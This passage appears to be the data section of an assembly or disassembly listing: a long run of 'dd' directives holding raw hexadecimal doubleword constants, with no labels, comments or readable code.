61AB3C6Dh dd 0EE468C28h, 12E92262h, 932D0800h, 6FE50D3Fh, 54C800DDh dd 0C97F0FA4h, 0EA535AB0h, 0DB7100AAh, 0DD43068Fh, 123E69Ch dd 8A625A10h, 0BC0D2E86h, 1A88A4BAh, 0ED065445h, 20225CDBh dd 0E9302D66h, 8D4B210Ch, 7E910F63h, 99A13123h, 98FD0316h dd 0A8250D76h, 4F1E00F4h, 0D61BF870h, 0C6023347h, 0B2C28249h dd 8D69036Bh, 8CBE44F5h, 0BF89C0D9h, 12EE78E7h, 3C66148h dd 0F99B7DF7h, 40F3B262h, 263E4DCCh, 1CC0FA8Ch, 5D994393h dd 1000DB8Bh, 3B965BF6h, 748AF18Ch, 84F21312h, 490441EAh dd 0D9731FB1h, 42FB49E9h, 7FCAC62Ch, 46148204h, 0B0FEAh dd 0AA33A3CFh, 0FBDE1636h, 148EBE00h, 23D26109h, 0AB6200AFh dd 0E6F425CBh, 87777885h, 2DC10D00h, 0C515BF28h, 0A4530073h dd 0EB469654h, 0CB00CF8Ch, 0CB6F5B8h, 0AE1950h, 4A6A3581h dd 4339BDFBh, 58B8D830h, 7083C7h, 0A90ED4CDh, 9B8B74D1h dd 957E5400h, 504672E6h, 0D54337A7h, 39357031h, 0A003D34h dd 0F7218406h, 0B04B9532h, 0D45F00F5h, 2E43E2AFh, 0AC00CB1Eh dd 59A9A7F5h, 0C00D8DB0h, 34A3B8C8h, 950046CCh, 891C1FB3h dd 39586656h, 991C96A4h, 84807FE4h, 571A1987h, 10C0A8B0h dd 3C6E49CEh, 7F5F78F5h, 0BB3700BCh, 1B1DC351h, 0C5005923h dd 26D9535Eh, 25DD03h, 34AB3D28h, 0CCE80C9Ch, 23029DF4h dd 0B63C276Eh, 24E371h, 0A7327BD9h, 10C8144Ah, 96CB460Eh dd 40009E73h, 6942630h, 9A3D008Eh, 2A5A0993h, 4663F7A7h dd 1F9D31h, 0C7AE2B39h, 3824FA7Eh, 6384CA00h, 56AF3B83h dd 210400B5h, 0A8DA0E4Eh, 5E7F5494h, 6A9D7B00h, 0C981C220h dd 4EA0102h, 0ED5BAB4Ch, 0FA188C4Fh, 183D6972h, 800E67F2h dd 6A7A24C5h, 0C986A81Dh, 0CC38F458h, 1488C1CAh, 0C46E8F68h dd 5300FD17h, 319BA33Fh, 0A843F5DAh, 0BB5C58h, 0E85F5B76h dd 1773CD75h, 0EB6D0700h, 6623A772h, 0BAC9018Dh, 2C299F51h dd 4585DC87h, 2DAD91C0h, 0C66A5484h, 0C95A49B0h, 0EDBEF910h dd 0F4C94406h, 16003158h, 43DE985Eh, 0C5D89E63h, 278CC908h dd 4F5C10A4h, 0CB306A74h, 0D396C9D7h, 0AB5500AAh, 0A78EEF54h dd 79072DD1h, 0F2B46A7Ah, 0BC068770h, 0D59D004Ah, 2672D430h dd 4602F59h, 7438FE59h, 0CC1B00B8h, 0AF186A70h, 760008BDh dd 39D8A151h, 0C3705B1h, 0C2CB1BD6h, 7F980879h, 0FE415F00h dd 34C8B313h, 3C0C036Ah, 0EEB6D101h, 88A5E000h, 2F54AE18h dd 6D71CF1Fh, 3B63E9A3h, 44F27BA0h, 0BC95700h, 210305DAh dd 9243030Eh, 750A8D4Fh, 0CECBB118h, 0E983079h, 360BE51Bh dd 755F84E0h, 103A52Ch, 4F210E29h, 0A169150Ch, 30009C4Bh dd 672F057h, 8700C2E4h, 88A7BC36h, 0C1F6B6F9h, 0BD7B2BA8h dd 29D04053h, 0DC18E9C7h, 0D4143A1h, 3E0E00A2h, 4BC03F5Eh dd 0E912A00Fh, 0BC1D4074h, 0E4103AC0h, 60DED961h, 7BA750DFh dd 0A1814151h, 2825F048h, 91EF36h, 5B68FD0h, 4DF3471Fh dd 0FA507C00h, 816BACADh, 0E39235D9h, 0B4202048h, 3D09DE3Fh dd 777A2h, 75299970h, 0B82B49F7h, 43306D00h, 3F123DF1h dd 0C2A73626h, 48E2B13Eh, 3C2094B4h, 51E84096h, 94192F2Ah dd 84689500h, 4D5C577Bh, 1C11FE15h, 40D10DFDh, 25B942F2h dd 853AF787h, 3DC8D0A9h, 6EA7FA12h, 1F34B448h, 2651302Fh dd 960013F6h, 0A84450CFh, 91B66F8h, 229D0853h, 8ECDAC20h dd 5C008A13h, 0F8DD2091h, 504BCFD3h, 94ACC67h, 598DC910h dd 10032091h, 0F820F50Bh, 571100E6h, 6E27B606h, 70026B9h dd 0C7851E42h, 0C12FD195h, 0BBF2C1A8h, 0F3C9001Dh, 2928A1BFh dd 0AFA67810h, 0C65F039h, 19213F0Bh, 0D2A30B4h, 3A8979D1h dd 2640D500h, 9DECA2B3h, 4429C125h, 0CC67397Ah, 470777CAh dd 0A0FBB40h, 3D30F0E0h, 80B72692h, 64E69588h, 0CEF8BD0Eh dd 2C8F1101h, 620ACC3Ah, 9D134702h, 6A51F328h, 0ACC25Ch dd 0D17B0BD8h, 0C509242h, 7784A7B3h, 0F5484558h, 0BF468394h dd 7280FED7h, 85C1C1DCh, 818849F9h, 0C2223148h, 2C2030E1h dd 4D99015Eh, 8FAA3F5Bh, 50440008h, 0FE301D39h, 681773h dd 0B3818633h, 50114B5h, 7DB2DE3Dh, 4A20C10Fh, 725000F5h dd 857E6CD5h, 863A0BA5h, 0E21200A0h, 0A7174ABEh, 20C30F2Ch dd 0F303BD3Fh, 47E016C9h, 603D7DBFh, 0C53C003Ah, 0DD7248F5h dd 993D3C89h, 95A31680h, 854906A8h, 86A2031Dh, 60FD5500h dd 1D9A2139h, 852F8C8Fh, 702618Dh, 0E1449D80h, 0F552B3BBh dd 9C7F100Ch, 7C760756h, 605DE069h, 997AD06h, 0C836D113h dd 65435442h, 0A4B08A64h, 0A0C6AC0Ah, 284A4E83h, 56A191C3h dd 0BAE42025h, 1D430092h, 5AB2CA95h, 0A701AEBBh, 0E5561A9Eh dd 3C22AF47h, 3D0AA804h, 21460030h, 4C43C071h, 4F81A4AFh dd 801B4DF5h, 320525C0h dd 636AD181h, 0CFCB98DAh, 29F72900h, 3D2A035Ch, 270E07D1h dd 46A74582h, 4CA06867h, 3330F75Dh, 0B0071066h, 0CCCB2848h dd 0A6060E64h, 0E6008E9Dh, 4490543h, 8DC5D91Ch, 0EC422752h dd 47F13AAh, 8A18C252h, 530B90A3h, 0E5005DFAh, 0D4439FBDh dd 4A22D469h, 0A2B42600h, 0E4673F30h, 0A8432854h, 8BC91840h dd 975D294Ch, 20099F26h, 0D90C84C8h, 0A6F8911h, 2C9D1CE4h dd 7B2D8F9Ch, 0F55A6000h, 3A24DCC3h, 0BE40D02Fh, 906904C9h dd 53060C39h, 7EA8C0BDh, 18A6FD3Ch, 0BA105849h, 183B0285h dd 7FADBE60h, 818DC090h, 6966340h, 0DF8FC9C3h, 0B0907813h dd 39E9EF6Ch, 85B42AEh, 677FD5FDh, 84AC388Eh, 1805308h dd 0ABBE413Ah, 314C2008h, 6E809499h, 0DBCF352h, 4B0B0C4Eh dd 8FA84C9Dh, 14738A2Ah, 0F6BA8601h, 0E95D3BB2h, 0E4DADC21h dd 807898C4h, 54D90914h, 63FCD85Eh, 72FA9C7h, 0CEB82101h dd 8502976Ch, 2E15F0C4h, 11300FA9h, 9F750B4Ch, 4BA0A087h dd 0ABDE385h, 934372D3h, 259064E4h, 1A271804h, 0B84C8010h dd 12A74385h, 0A5890740h, 4891E3A6h, 0C9B2E006h, 0C4A8D066h dd 4655F450h, 0D9279Dh, 887F3557h, 71BAD91Bh, 870624E6h dd 9422177h, 25B107D1h, 8B08063Ch, 3C94C98h, 41029676h dd 97B416D7h, 0CCDC60DEh, 32402E79h, 0A5043CACh, 0C025301Eh dd 107A88E8h, 0C18F2891h, 39FDC544h, 0CDA27481h, 3FDDA800h dd 946F9226h, 85899A8Ah, 44E1023Dh, 0E2854AB3h, 8460A96Eh dd 0C70118D4h, 6405958Dh, 0F420FA48h, 732F30C9h, 0D9B7771h dd 0A9271607h, 0E5214B8Dh, 0B0439DA1h, 1DF2FAh, 0F7C06039h dd 91726B30h, 99DEC168h, 0B0099560h, 0CB142904h, 0AD0088D8h dd 6774BD1Eh, 0E1280340h, 5C4E589h, 4EC78357h, 3638C105h dd 734984F8h, 54A40812h, 0CBEB4096h, 1F51C960h, 1FC16738h dd 804A6CA5h, 443E0BDCh, 0EF0CD147h, 418E4BA8h, 269E2A30h dd 2DEB14E8h, 0EE03FA78h, 0F79D8073h, 431ED991h, 0C0110D8Ch dd 0EE1A5835h, 8C823913h, 870042C9h, 0C0D5C68Dh, 2AF89589h dd 0D800C05Ch, 6A17C762h, 1A2D923h, 4067C5F7h, 22CB490Ah dd 7E3C00D8h, 0E76386Ch, 0C0B04C43h, 806D8DC2h, 0A23B2600h dd 12F0F8F5h, 201BA8A7h, 2639274h, 4C4EF680h, 0D9814CA0h dd 70036945h, 4902C3F6h, 403D26B6h, 78544624h, 2FE718B8h dd 37801106h, 0EDF6CA00h, 75CF1CB2h, 10DD06BEh, 592BC10Bh dd 0E48211Ah, 7F548031h, 1C950886h, 0FBA409Bh, 21184924h dd 2D69CB0Bh, 5C00039h, 4C432498h, 390238D3h, 0C11AD101h dd 53109C58h, 0C703BD55h, 6D679F5Dh, 5882D82Eh, 6B5F9A04h dd 8B038410h, 8F06A7DAh, 8DC5022h, 0C252C909h, 24C8E112h dd 0AB410016h, 0A540732Eh, 370094F9h, 8901B856h, 70C2DF52h dd 0FA73166h, 110C4AE0h, 0C872C30Bh, 1510344Ch, 0AB106062h dd 845C455Bh, 1CAB2177h, 44C527D4h, 0B2BD78C8h, 0DF51298h dd 0AABC421Dh, 4F00778Ah, 0B12CBD9Dh, 205B1D78h, 0C9853C04h dd 68198898h, 10BD1309h, 28205328h, 1053782Dh, 13A88404h dd 0CF567818h, 454C38Ah, 15F2C791h, 0CAC818CEh, 0EA00F508h dd 0BE6EC143h, 0A31E20F0h, 3C815D5h, 7E54F4AEh, 0B3E8C5B1h dd 0C4DEBFFh, 48D12D4h, 0C4C60087h, 6D8B2068h, 0C0EC8C5Ch dd 0B55B2892h, 0C59101DAh, 7177E42Fh, 0F9BBD8A1h, 0F8CC0230h dd 6FCA43A7h, 9687806Fh, 74783A6h, 4A261005h, 741EC4CCh dd 879808B0h, 0A5F3F50Ah, 5000D813h, 8D4D5C4Ah, 4989C69Bh dd 0D301E140h, 43D60E28h, 31E02658h, 8130A053h, 86E426C9h dd 0F8A4BC44h, 69CA638h, 0C81FEB9Fh, 0AE4F4D15h, 852F1808h dd 69F18F91h, 48441E0h, 87C4E48Dh, 83F590C4h, 43B0DF41h dd 7479804Bh, 0F545ED13h, 2821D497h, 2854A848h, 0AD25154Fh dd 44C186Bh, 45E0A87Fh, 31B23237h, 1E205170h, 367B81h dd 54C4AEA7h, 1C43EE15h, 3914200Ch, 0C901D07Fh, 2884A741h dd 88B05109h, 0FAEF090h, 397DB30Ah, 0C742F89Dh, 0C44C8082h dd 0A034DEA1h, 37CB7EA0h, 0A0500115h, 0F1D31F5Dh, 0A2E84700h dd 223DBD6h, 78AD00A9h, 5653614h, 0AE00EAB8h, 0ACBA6061h dd 7024442Ah, 81780352h, 0FCE820BFh, 0C8AAE1A8h, 0B70071E2h dd 6F79C0B9h, 64123Bh, 6BA89F11h, 1EACA554h, 0FE402E60h dd 80C09072h, 0F80081E2h, 71C3DE9Bh, 0A9A64Dh, 282F5E64h dd 0D3B6B809h, 0A5707601h, 234469BBh, 7291F0h, 0DF20929Ch dd 9BF7B2E8h, 77C3D412h, 46AC824h, 0ECF854BFh, 0F1B3FB0Fh dd 0D8001291h, 6CACBEB2h, 6D37015Eh, 0A2AFB64Ah, 0A5B3D828h dd 0CD2E6026h, 8B779500h, 60C46EE4h, 0D6AF40FCh, 0B47B3A16h dd 5F64B600h, 451B2826h, 6BC003BEh, 7D8EFA68h, 896506B8h dd 0F88C0E08h, 0EA4D0220h, 0B600D7A8h, 77ADE4h, 7D283B61h dd 76A6A3B9h, 0A1F85C07h, 0E0EE6A60h, 0BD9B0E85h, 0B6C3006Eh dd 0C194EA5Fh, 0B8042116h, 537793AFh, 942E38C5h, 0E8EA01BBh dd 0D8AEF648h, 0B770F4h, 6164A3E4h, 0BD02283Ch, 667DD4E2h dd 2A92B31Dh, 7753A0Eh, 7380CF79h, 250FCE5h, 0DF93A2EFh dd 0A0C00237h, 78005E7Ah, 86B31177h, 2163A9h, 625A8DDEh dd 7C9B6134h, 40E4C330h, 40F9B2FAh, 2001DA1h, 6764C0A7h dd 7D056D78h, 6FFCB1h, 6692B713h, 9B65252Eh, 390093Ch dd 0B2EDAF74h, 0C693C8E5h, 66B34023h, 8C7A672Ch, 5E00D4D5h dd 81F1EB62h, 0FAC1AAFBh, 0B8B2001Eh, 7A136991h, 0B6203628h dd 0A64300A7h, 38446792h, 7500CA6Dh, 0E9209390h, 0EF4CF1h dd 37D7E0E5h, 61A2B149h, 65245300h, 0A5B07E06h, 0BB13006Ch dd 345471A1h, 7800DDCEh, 0AF6DFF9Bh, 0F8B3FDh, 2ECAD2A4h dd 6EA9E146h, 28371400h, 0B9C0B538h, 137375h, 25532AB6h dd 8C768B61h, 0C2AFE0FBh, 96F44900h, 4E3ADC93h, 7CEE1DA6h dd 162B8061h, 76A7BA7Eh, 1AC6659h, 9C533C55h, 8849C17Ch dd 0B0FF041Bh, 4CC91h, 233B6BFh, 38DFB568h, 10B4410Ah dd 80553476h, 23AABC09h, 0B4005D66h, 0B8BF3A29h, 2B74716Fh dd 861C14E3h, 106A83CBh, 0B2B64E02h, 0F0295BA5h, 868703DCh dd 0BF1D5328h, 0EF121000h, 0F18F2D1Ah, 0D85B3Eh, 0C701B380h dd 0A5EE3F2h, 57243401h, 409F9544h, 4B71B3FBh, 0D28FBAC8h dd 0DDB37205h, 1C62D89Dh, 0B4F80555h, 9200C1A8h, 2A5CD463h dd 0EB0A5F39h, 5928203Ah, 7603A17Eh, 2EE0A84Eh, 0F140D041h dd 276B0788h, 4C9E1994h, 670031E9h, 5F62CFB5h, 3BB8A8E0h dd 0CB98B30Ch, 740A1D4h, 3F5AFC00h, 0ED7F53BDh, 9B593FA1h dd 8DD53080h, 3E48C0CDh, 45D89E61h, 0F6DBDFC8h, 9D740061h dd 9CAB0A4Fh, 935B4A54h, 211BA00Ch, 4F95006Dh, 822BD8FCh dd 0C90113AFh, 7BB097E3h, 3C7C6665h, 0A331433Ch, 43B14E91h dd 42FC0790h, 0A259CA0Bh, 0FA4313A8h, 3F3004B0h, 2174B92h dd 56858D4Dh, 14853F04h, 4747A897h, 0D05B66A8h, 0E4673DD1h dd 6FC5741Ah, 0FC28DA08h, 1EE443h, 92B9E2C4h, 0B57F1FCCh dd 7E49E700h, 302F8082h, 0B424970Fh, 0C3404348h, 0FB26E858h dd 7A650202h, 0C70AA74Ah, 0FA811854h, 21162998h, 833854DAh dd 0A883A2E2h, 5CED8Ch, 3D982DE4h, 0FE0A4AA3h, 2E843EADh dd 0F1E6FE8Fh, 48592020h, 4E06C9BEh, 62938D4Bh, 0D78080E8h dd 0F6718016h, 960744EAh, 0F72176E2h, 4ADF6380h, 6C109F67h dd 0C928530Bh, 8575A061h dd 688BF224h, 3FC83B18h, 5D4E00D9h, 5F4D4428h, 390A37D5h dd 381E6D9Dh, 731F08h, 9342B445h, 70016B35h, 4330E44Bh dd 0E450C5AFh, 7BB86A2h, 25A37921h, 1F5E2A7h, 26D9B048h dd 99D02C9Fh, 93C87B46h, 7A9F1F2Ch, 888CAB91h, 97538018h dd 655EDF4Fh, 52F47400h, 93583E44h, 29A13B26h, 0D901127Ah dd 46E0B022h, 0F925C678h, 1EC468F2h, 1FD90FBBh, 2DE1262Bh dd 9254ED5Bh, 200829A0h, 557C093h, 18F33DD5h, 5F098859h dd 0E08A0502h, 5E654BA6h, 0C9B30590h, 0A4B05223h, 4310ABB8h dd 0E0134BADh, 1834F21Ch, 77806B0Ah, 519D000Eh, 1F19B683h dd 0F500133Bh, 3DD646A0h, 20BE47Fh, 0FD4FD4FBh, 784462E5h dd 55029546h, 573DD705h, 7105A31h, 1704055Dh, 6533AF75h dd 811074EDh, 2112762Eh, 585E7043h, 58E2F9C9h, 40AD1448h dd 5C40F40Dh, 4B570447h, 0B8CF626Ah, 0A80E922Ch, 9C4850FDh dd 0C944C63Eh, 8902F430h, 4D4B2B1Bh, 0D602040Dh, 197BAB26h dd 0D020D054h, 108F1C82h, 4F9A8031h, 87B4AB13h, 4F926A00h dd 69E8E0h, 1ADE4B0Eh, 48F5058Ah, 5C401601h, 2B8D9D4Dh dd 1FE06C24h, 49C511A7h, 40827902h, 5719677Fh, 0C38859B2h dd 114F9930h, 88BCAB0Eh, 9169801Fh, 96124D4Fh, 2EF1810Ch dd 9856D0C9h, 29584h, 0F80559B9h, 0E8025089h, 55C3098h dd 6F3DD811h, 6804F88h, 0FBFC0544h, 0AE95043Bh, 81529EA2h dd 0D2D6B4h, 0C564DB4h, 1093AA3Ah, 0B10496D8h, 0E08AD0Fh dd 5C88208Eh, 89282EC2h, 44128AC3h, 1D932C80h, 5E9EA52h dd 9F45BBC8h, 58A454D7h, 0B7066D12h, 0C095249Ch, 0B0204313h dd 10D70C8h, 2819FEDh, 2A89C410h, 211DD00Ch, 0ED150EC9h dd 9F27772Fh, 0B048CC0Bh, 11589504h, 0F8300Fh, 0F8F3D3h dd 21D4D0EEh, 9842B315h, 0F2723E3Ch, 743077A4h, 0E5031546h dd 0EEF7127Ah, 3FFE1E91h, 69FA5C20h, 0F1ED3873h, 75A1A300h dd 0D63F1221h, 29FD3909h, 60A8F008h, 0C9E73120h, 1175F81Fh dd 0D0241C0Fh, 510BB8h, 0B47BF72Bh, 0C1ED02B1h, 5B383AAAh dd 699578C0h, 78B30440h, 404205C4h, 161B7AAh, 170FAE88h dd 0C832CCh, 5887D7E8h, 196ADC4Fh, 8344730h, 852180DEh dd 5B0287DFh, 75F10061h, 19F03591h, 332664D8h, 0A1381038h dd 0A0589E26h, 91469892h, 0DB055101h, 0CE3B73Dh, 590B884Eh dd 6090502h, 82E3D80Fh, 0E83E4h, 22418DCFh, 83441491h dd 11C05F08h, 43819BEDh, 19CD8022h, 905379EDh, 17AE00ECh dd 3DB01C93h, 9C3E4FADh, 0E2D220Bh, 4A898FFDh, 0B07B98C0h dd 0F2BADB7h, 0D103A015h, 0D44F5687h, 0B72AE062h, 74E80339h dd 38649E2Eh, 0B3C029C8h, 6BA3FF10h, 15854F0Ah, 0E8A3DCh dd 3110B897h, 0D9130918h, 7C26CD8Ah, 735A46F8h, 819AED08h dd 4011C43Ah, 86ED1C32h, 36B11C12h, 0C5C6C01Bh, 0A596BB3Ch dd 10C81F4Ch, 0C858CEA2h, 0CC348D15h, 0BF17F04Ch, 19A82366h dd 9A091FE4h, 22D0782Bh, 4C85C22Fh, 0D46016C4h, 6F4B8DBh dd 83F87117h, 43971407h, 7CF9A124h, 5DC70073h, 9D316C15h dd 0A2123DA0h, 6C4F1F9Fh, 0BF20403h, 508364D5h, 0C600BC35h dd 43D89FCCh, 8120F905h, 0F0A8FAD1h, 10269438h, 0F105130Ch dd 8B746014h, 0BC71303h, 0E4A7D8F3h, 237FCC1h, 9F5B40Ch dd 1AB27C72h, 86028033h, 0BAD11861h, 0AE3888D7h, 0F50217ECh dd 51C1E9E3h, 0BE74C09Eh, 20C487EAh, 18CB3367h, 1BFCD950h dd 87DB048Ch, 623C4F54h, 0C38120D4h, 0A8061987h, 0C662D186h dd 4BAB1288h, 2914802Dh, 8CA4AA8Bh, 0A8896C94h, 3D34642Fh dd 24035268h, 0C93AD358h, 47E5AED0h, 82F5B10h, 646CC800h dd 12E93C98h, 290CBA71h, 514A2126h, 0FA94A0C8h, 0A2B380CEh dd 303E0A28h, 0A79F2172h, 0B0CB0BC4h, 8201EDA8h, 16441047h dd 96B3D560h, 0CC03B9E0h, 95530B54h, 12500056h, 0A0DC33F0h dd 0A0B04A15h, 30440A13h, 0BB90B4h, 0BDAF7405h, 0E033BC7Ah dd 214E1FF2h, 84419CD8h, 457CD671h, 2CF0DD56h, 0AB05E39Bh dd 64CB53ACh, 4F806F3Ch, 0ED35E4A6h, 0C30B3457h, 0D0B3C594h dd 20164038h, 8DC72F04h, 2CC82151h, 4C5597Bh, 0B57EF4EDh dd 0EDA0AC09h, 0AB00822Ah, 580571h, 0E0C1748Ch, 0DCEBF52Ch dd 5B12A8D6h, 2CD2BD89h, 0E8022B82h, 0A000C0B1h, 1EFF62Ch dd 0F7841639h, 350D19F5h, 2003090h, 0B0F3A281h, 0B854B64h dd 72D3B8F0h, 5B11889Dh, 0C4DB9C84h, 8A0481C3h, 82500CAh dd 30554B24h, 0C3B3E048h, 8F4464B8h, 0AA257E9Fh, 0B2947408h dd 52309288h, 3DDA0B05h, 9496E3BFh, 55A0C00h, 47594D7Ch dd 760E08A6h, 1E0032B1h, 304E9DF9h, 109220h, 462927Ch dd 0EAA9D60Dh, 6FCC8200h, 5F4D96CEh, 48FF0276h, 7D8D0256h dd 112B07Ch, 1BC89CCBh, 2D75D0C0h, 80720E9Fh, 0E0D68DF7h dd 0B161E50h, 70A3C694h, 660F4107h, 32258015h, 680069C3h dd 0B98DB2DEh, 0B8474085h, 0E5B102A4h, 2AB409A7h, 0ED409C7Eh dd 0B4F3BB9h, 29414D84h, 748B8402h, 0A2F03h, 4C78B729h dd 0E79895ECh, 0BA116B3Bh, 1D0794C9h, 2EBA00D4h, 9B87C219h dd 81180A34h, 0A8E84ED9h, 7C605CCCh, 5541B10h, 1CA985CFh dd 0E30020CBh, 0E0794C6Fh, 7E141013h, 4DA48A43h, 186E04FCh dd 0F4804657h, 3EFECDC5h, 0ECB5F9BBh, 0C8FCCB68h, 7D88C01Ch dd 70C86C2h, 0F1184E21h, 105749A1h, 804CF400h, 59867488h dd 0D051E90Fh, 2D419D9Fh, 6826A593h, 31C9D080h, 214C03C0h dd 0AE60790Bh, 0B12482C4h, 0AA3D000Dh, 0A59F0143h, 80521D84h dd 5AC864CBh, 0E0A8E3C5h, 7D85C7C2h, 0DD4F945Ah, 4C49E000h dd 0EEF24051h, 0BC79D06Ah, 0BC160420h, 0A004C4D3h, 0DA24C6F5h dd 0A696C16Ch, 0C8345D5Bh, 0FC324DA1h, 7BF02F4Eh, 27E788Eh dd 3283903Eh, 38E48EC9h, 0A3207090h, 0FD4D1672h, 2058F11Dh dd 810B1558h, 4048E9C5h, 1790A2C0h, 0FC06DA7h, 0F2B3CAA4h dd 9C412288h, 151810CCh, 5FCA52Fh, 0FAB0A3FFh, 8A2678A0h dd 0E044D047h, 48BB6960h, 0A856A90Bh, 91C49725h, 0B18D8018h dd 5CBAC717h, 310B030h, 2B7F001Bh, 29C9C476h, 0A091E320h dd 87DA801Ch, 8C244F51h, 9082DC44h, 389200D5h, 1C5A9FD4h dd 0AC160304h, 44F288C9h, 385AE780h, 0F008464h, 0B9F91DABh dd 16317DF0h, 0D75D3953h, 296EF2C0h, 51795471h, 1D003F18h dd 0D85496DDh, 1AA2E29h, 0BA7E4A6Eh, 74F5CB5Eh, 10E2479Ch dd 2F38C312h, 0F49ECCC8h, 0B2C2005Fh, 78D2B6A8h, 9A002C6Fh dd 29BC08D3h, 75120C77h, 268CB98Bh, 101DEB8h, 0F6F4C888h dd 202093B1h, 0E81C4823h, 2223D84h, 0C863F2C7h, 370BC3ECh dd 427925C9h, 58F0E553h, 5B37F700h, 0FA3FD551h, 590B6AFh dd 474981C9h, 820CF08Ch, 286148EEh, 834FE142h, 455B7DF1h dd 9048015Eh, 0F4C9CC74h, 0AD39857Bh, 74489BCBh, 87D5C019h dd 2C464F52h, 8300DB22h, 1EE787DDh, 0D1942Eh, 49E2B5A6h dd 29C10B71h, 4AFD40A8h, 4C2F3488h, 0A5102406h, 782E93C8h dd 330F1923h, 0ADEEE0C1h, 913248FAh, 1850D124h, 358A07ECh dd 0AF377Ah, 668B5748h, 2B5DFC90h, 0FA3D0910h, 2FC0C0B3h dd 30A1B77Ch, 50C3A543h, 41B88084h, 0A8EC1112h, 81968820h dd 5D6B0069h, 7A377751h, 9300F92Dh, 4E645B56h, 20731312h dd 0D13C63F1h, 8D2F7D25h, 0F2244856h, 532D80CEh, 184EC932h dd 449CE7D8h, 0A1006451h dd 0BA7C151Dh, 52AD1CB0h, 997BC53Ch, 10D8E261h, 754809A0h dd 90A15F78h, 262D76E8h, 11CECC30h, 0A9E69Ch, 954CC1A8h dd 5DC025A1h, 4C6B9F24h, 9DD99E82h, 3C460026h, 0DF1E8DF2h dd 57453DC4h, 68EC9E5Fh, 954F60C0h, 889028DDh, 39C02FFCh dd 0B3CA7A40h, 0E00B04FDh, 974DD13Fh, 721440h, 0C0A7FBC8h dd 0F9250B70h, 0D14C24h, 104D5580h, 2D0297EFh, 4C91627h dd 0E4402FCBh, 0A4778144h, 2722F68Fh, 1097AE5Ch, 0E28BD411h dd 0D0810046h, 8561896h, 5F3DD605h, 8404DC4h, 1CEA055Eh dd 7C7B913Ch, 172590BBh, 81029180h, 5C965067h, 8D01C873h dd 1D48D3DAh, 6316D430h, 2DB6350Fh, 85E018A6h, 471E5ABDh dd 958DC73Ch, 0C9680217h, 45214CF2h, 1C3C4FFFh, 2D5F862h dd 40A82604h, 474CA580h, 320091C7h, 2E8C6D62h, 0EC6F96h dd 0B1443A71h, 98D4ABB4h, 18A78901h, 5C1CA5E5h, 5C96BAD8h dd 2805D849h, 88A8BFFDh, 5400D3C0h, 5A903951h, 12CDEB3h dd 75CA21E7h, 0CA8D0156h, 0B8BE9458h, 3F8B7ADh, 0A7B41CC3h dd 1C80428Ah, 4E034191h, 4AB15600h, 5CDC21B5h, 5FD00BC5h dd 407925D8h, 92094818h, 35F00E12h, 256D616h, 0A51B3D4Ch dd 1AA64048h, 0CC46870Dh, 9BF831CBh, 0D8C42EF0h, 0D5070048h dd 0C6E674E8h, 3B402C94h, 0EC7FF8BEh, 0ABB1037Eh, 0FD1FEEDBh dd 4B99ACA0h, 9D148A09h, 3F0490D7h, 0BA013DEh, 14AC97C7h dd 0D08CF139h, 3896459Dh, 0DE2824h, 0FA462307h, 5A942784h dd 0A6D4BD02h, 69DD53h, 1F932C30h, 21311372h, 29C8E94Bh dd 982C6D71h, 38C19B8h, 0C65D6E6h, 1900229Eh, 49EE55C3h dd 345D02h, 0DE21F3BDh, 9D4D9BF6h, 0E018F130h, 94E440Fh dd 0E42F3DB6h, 1C11A81Dh, 0ECD9F180h, 5E079806h, 7FE8F0A8h dd 10F83295h, 0C0F8275Eh, 9F3C1186h, 8D00D1E4h, 0F8F18099h dd 4CC9B1Fh, 0C98759F0h, 538B82Eh, 794943ABh, 0DB3F88D0h dd 0BE500BCDh, 0C819F6B0h, 0BD61818h, 0C44F5587h, 862ED49Ch dd 0C7004CDEh, 1A0797CFh, 0CD2C28B0h, 27A920F8h, 5BAB1C0Bh dd 0D7D0E07Dh, 0E3AA168Bh, 3C048D0Bh, 8CDEBC38h, 2E16800h dd 7A9FB603h, 35940326h, 2404F473h, 0A1B3C0C0h, 5DE6F617h dd 0DE00ECE2h, 967F451Ch, 8C16113Ch, 4C044C7Ah, 0CA3377BDh dd 0F54F690Ch, 71B3C901h, 0C8949Fh, 0F2C24171h, 0F4B473C3h dd 482747h, 0AE424D4Ah, 7F5DAF9Fh, 9BFB019Ch, 46417BB0h dd 20843452h, 0FAE04F47h, 5D3F7502h, 6457FFh, 2D25F545h dd 677891BDh, 923DC210h, 2815EF30h, 5BD9819Dh, 315401F2h dd 7F4EB153h, 872CF048h, 9057B616h, 3A4789B3h, 1D7FA27h dd 2E49E78h, 28F548F0h, 223827D5h, 0B0BCC744h, 1C17465Eh dd 1819950h, 0F9C7426Eh, 5F599420h, 0DF4431Ch, 43A10A79h dd 0FB18C11h, 1B814006h, 0D0F532C1h, 6AB92011h, 0D5036094h dd 2A9D79C9h, 7032E100h, 4B35FA2Fh, 51D22C85h, 40CC4414h dd 809F95ACh, 2D6E09Eh, 0E0BFBAD8h, 18FE303Dh, 0A483919Ch dd 0D0B15589h, 37AC84h, 0C9AD7B4Eh, 0F47DE01Bh, 6CBB1726h dd 299AC300h, 124E2E3Dh, 8EE77BFh, 0D8C01664h, 584F5B87h dd 88E0E834h, 5D0487E0h, 2919DE5h, 0C46E3D02h, 6044B884h dd 2CA0ED0Eh, 70C40A81h, 0ED0016D0h, 0A6763B01h, 29E2E33Ch dd 7124F724h, 1E4F1816h, 81E22D1Bh, 4BA2E0BAh, 0C082FEECh dd 4C56C50Bh, 83ACCC94h, 0D05D3E43h, 0E63225h, 3BE8C619h dd 0FCB72A8h, 61C7AB04h, 44D192F1h, 3980CFCCh, 0F569259Dh dd 0EC002967h, 40F6F4B6h, 121DA10Fh, 3A067D10h, 3233Ch dd 1F7BC2F2h, 0D91A7992h, 4078E072h, 1D4AC964h, 254D5BA5h dd 0D55A2CC8h, 63124586h, 3059A2ACh, 5D4AF2BEh, 0C1001CE2h dd 644CB37Eh, 9D0509EBh, 0D216D9BBh, 8CE008A4h, 0D4FA004h dd 18AC84ABh, 4F98A0B7h, 7702EB6Fh, 3874B8F5h, 0C7E461C9h dd 882AE9E1h, 6D41235Ch, 61C90BF0h, 4BAB4160h, 0A19864B1h dd 3FB97E60h, 0B8FD4DC3h, 72D31244h, 14A4D38Bh, 52921808h dd 809E5D4h, 0A9CE5DCCh, 124484EDh, 0CF00508Eh, 4F92ED17h dd 7B51A6DEh, 908887C6h, 85F19A8Ch, 60440F75h, 0AC8C10C4h dd 8714B293h, 601A4498h, 9A14294h, 0CD62F18Eh, 751D5851h dd 219E3020h, 9730F231h, 947FC400h, 0F34ACABAh, 0EFAA0131h dd 2AC961CEh, 212425DAh, 4B6260E8h, 9915Eh, 402470B8h dd 94E0273h, 